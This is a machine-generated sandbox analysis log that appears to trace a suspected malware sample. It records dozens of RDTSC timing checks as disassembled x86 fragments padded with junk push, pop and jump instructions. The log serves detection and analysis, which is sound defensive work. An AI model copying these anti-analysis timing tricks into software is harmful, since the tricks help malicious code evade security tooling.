Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B60E second address: 63B62A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F5BB112B656h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push esi 0x0000000d jmp 00007F5BB112B65Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63B62A second address: 63B647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jmp 00007F5BB0EE6E22h 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E2E2 second address: 70E2E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E2E6 second address: 70E348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F5BB0EE6E20h 0x00000010 pushad 0x00000011 jbe 00007F5BB0EE6E16h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a jno 00007F5BB0EE6E30h 0x00000020 popad 0x00000021 push edi 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F5BB0EE6E1Ah 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E348 second address: 70E34C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715D58 second address: 715D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715D5D second address: 715D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5BB112B660h 0x00000008 jo 00007F5BB112B656h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 jbe 00007F5BB112B656h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7180C0 second address: 7180C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7180C4 second address: 7180D3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5BB112B658h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7196DF second address: 7196ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F5BB0EE6E16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7196ED second address: 7196F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5BB112B656h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7196F8 second address: 7196FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7196FD second address: 719703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 719703 second address: 71970B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6FE second address: 71B702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725AC7 second address: 725AD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5BB0EE6E16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7247F6 second address: 724801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724801 second address: 724805 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7249BA second address: 7249DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5BB112B65Eh 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5BB112B65Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724DA8 second address: 724DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F5BB0EE6E16h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 724DB4 second address: 724DC8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F5BB112B656h 0x0000000e jnp 00007F5BB112B656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727230 second address: 727248 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727248 second address: 727280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pushad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F5BB112B663h 0x0000000f jmp 00007F5BB112B666h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727280 second address: 727284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727284 second address: 727288 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B0AD second address: 72B0E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E23h 0x00000009 jmp 00007F5BB0EE6E20h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jmp 00007F5BB0EE6E1Ch 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B0E6 second address: 72B0EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73556D second address: 735573 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736B68 second address: 736B8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B668h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 748F2C second address: 748F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F5BB0EE6E16h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74C9FF second address: 74CA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CA03 second address: 74CA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CA07 second address: 74CA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74CA0D second address: 74CA12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612BF second address: 7612E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB112B663h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F5BB112B656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612E1 second address: 7612F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612F6 second address: 7612FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761441 second address: 76144B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76144B second address: 761455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5BB112B656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761455 second address: 76146A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5BB0EE6E16h 0x00000008 jmp 00007F5BB0EE6E1Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76146A second address: 76148E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5BB112B668h 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76148E second address: 761494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761494 second address: 7614A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jne 00007F5BB112B656h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761CFC second address: 761D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764A00 second address: 764A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764AC8 second address: 764AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F5BB0EE6E16h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5BB0EE6E22h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 764CEF second address: 764CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766339 second address: 76633F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76633F second address: 766363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jnl 00007F5BB112B669h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766363 second address: 766378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E1Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50320 second address: 4C50397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F5BB112B65Fh 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F5BB112B664h 0x00000012 mov dword ptr [esp], ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F5BB112B65Eh 0x0000001c or eax, 2B345428h 0x00000022 jmp 00007F5BB112B65Bh 0x00000027 popfd 0x00000028 mov ecx, 315CD51Fh 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007F5BB112B667h 0x00000038 mov si, 4EFFh 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50453 second address: 4C5046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB0EE6E28h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5046F second address: 4C50496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5BB112B660h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50496 second address: 4C504A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504A5 second address: 4C504BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504BD second address: 4C504C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504C1 second address: 4C504D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 0D56DDFFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504D4 second address: 4C504D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50515 second address: 4C50524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50524 second address: 4C5052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5052A second address: 4C5052E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5052E second address: 4C5053D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5053D second address: 4C50550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50550 second address: 4C50556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50556 second address: 4C5055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5055A second address: 4C50568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, 65h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50568 second address: 4C50589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5BB112B666h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50589 second address: 4C5058D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5058D second address: 4C50593 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50593 second address: 4C50599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50599 second address: 4C5059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5059D second address: 4C505D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5BB0EE6E27h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505D5 second address: 4C505ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505ED second address: 4C505F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5061E second address: 4C506B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B65Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 685A9C1Dh 0x0000000e jmp 00007F5BB112B661h 0x00000013 add dword ptr [esp], 0D3E800Bh 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F5BB112B663h 0x00000021 xor esi, 5A2BB6DEh 0x00000027 jmp 00007F5BB112B669h 0x0000002c popfd 0x0000002d popad 0x0000002e call 00007F5C21DFEFC5h 0x00000033 push 759227D0h 0x00000038 push dword ptr fs:[00000000h] 0x0000003f mov eax, dword ptr [esp+10h] 0x00000043 mov dword ptr [esp+10h], ebp 0x00000047 lea ebp, dword ptr [esp+10h] 0x0000004b sub esp, eax 0x0000004d push ebx 0x0000004e push esi 0x0000004f push edi 0x00000050 mov eax, dword ptr [759B0140h] 0x00000055 xor dword ptr [ebp-04h], eax 0x00000058 xor eax, ebp 0x0000005a push eax 0x0000005b mov dword ptr [ebp-18h], esp 0x0000005e push dword ptr [ebp-08h] 0x00000061 mov eax, dword ptr [ebp-04h] 0x00000064 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000006b mov dword ptr [ebp-08h], eax 0x0000006e lea eax, dword ptr [ebp-10h] 0x00000071 mov dword ptr fs:[00000000h], eax 0x00000077 ret 0x00000078 jmp 00007F5BB112B65Eh 0x0000007d and dword ptr [ebp-04h], 00000000h 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F5BB112B667h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506B3 second address: 4C506B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506B9 second address: 4C506BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506BD second address: 4C506ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov dl, 0Fh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 popad 0x00000015 mov esi, edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F5BB0EE6E23h 0x0000001f mov ah, 9Dh 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506ED second address: 4C506F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, ax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506F5 second address: 4C50730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov al, byte ptr [edx] 0x00000009 jmp 00007F5BB0EE6E28h 0x0000000e inc edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5BB0EE6E27h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50730 second address: 4C50730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F5BB112B665h 0x0000000b add ax, FBF6h 0x00000010 jmp 00007F5BB112B661h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test al, al 0x0000001b jmp 00007F5BB112B65Eh 0x00000020 jne 00007F5BB112B5D7h 0x00000026 mov al, byte ptr [edx] 0x00000028 jmp 00007F5BB112B668h 0x0000002d inc edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F5BB112B667h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50814 second address: 4C5081A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5081A second address: 4C5081E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5081E second address: 4C50833 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5BB0EE6E1Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50833 second address: 4C50887 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, BCA4h 0x00000007 movsx ebx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test al, al 0x0000000f jmp 00007F5BB112B664h 0x00000014 jne 00007F5C21DF387Fh 0x0000001a jmp 00007F5BB112B660h 0x0000001f mov ecx, edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F5BB112B667h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50887 second address: 4C5089F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB0EE6E24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5089F second address: 4C508AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508AE second address: 4C5093C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F5BB0EE6E1Fh 0x0000000b add eax, 36968CDEh 0x00000011 jmp 00007F5BB0EE6E29h 0x00000016 popfd 0x00000017 popad 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 pushad 0x00000023 popad 0x00000024 mov ecx, edx 0x00000026 jmp 00007F5BB0EE6E24h 0x0000002b and ecx, 03h 0x0000002e jmp 00007F5BB0EE6E20h 0x00000033 rep movsb 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F5BB0EE6E1Dh 0x0000003e adc ch, 00000026h 0x00000041 jmp 00007F5BB0EE6E21h 0x00000046 popfd 0x00000047 pushad 0x00000048 popad 0x00000049 popad 0x0000004a rdtsc
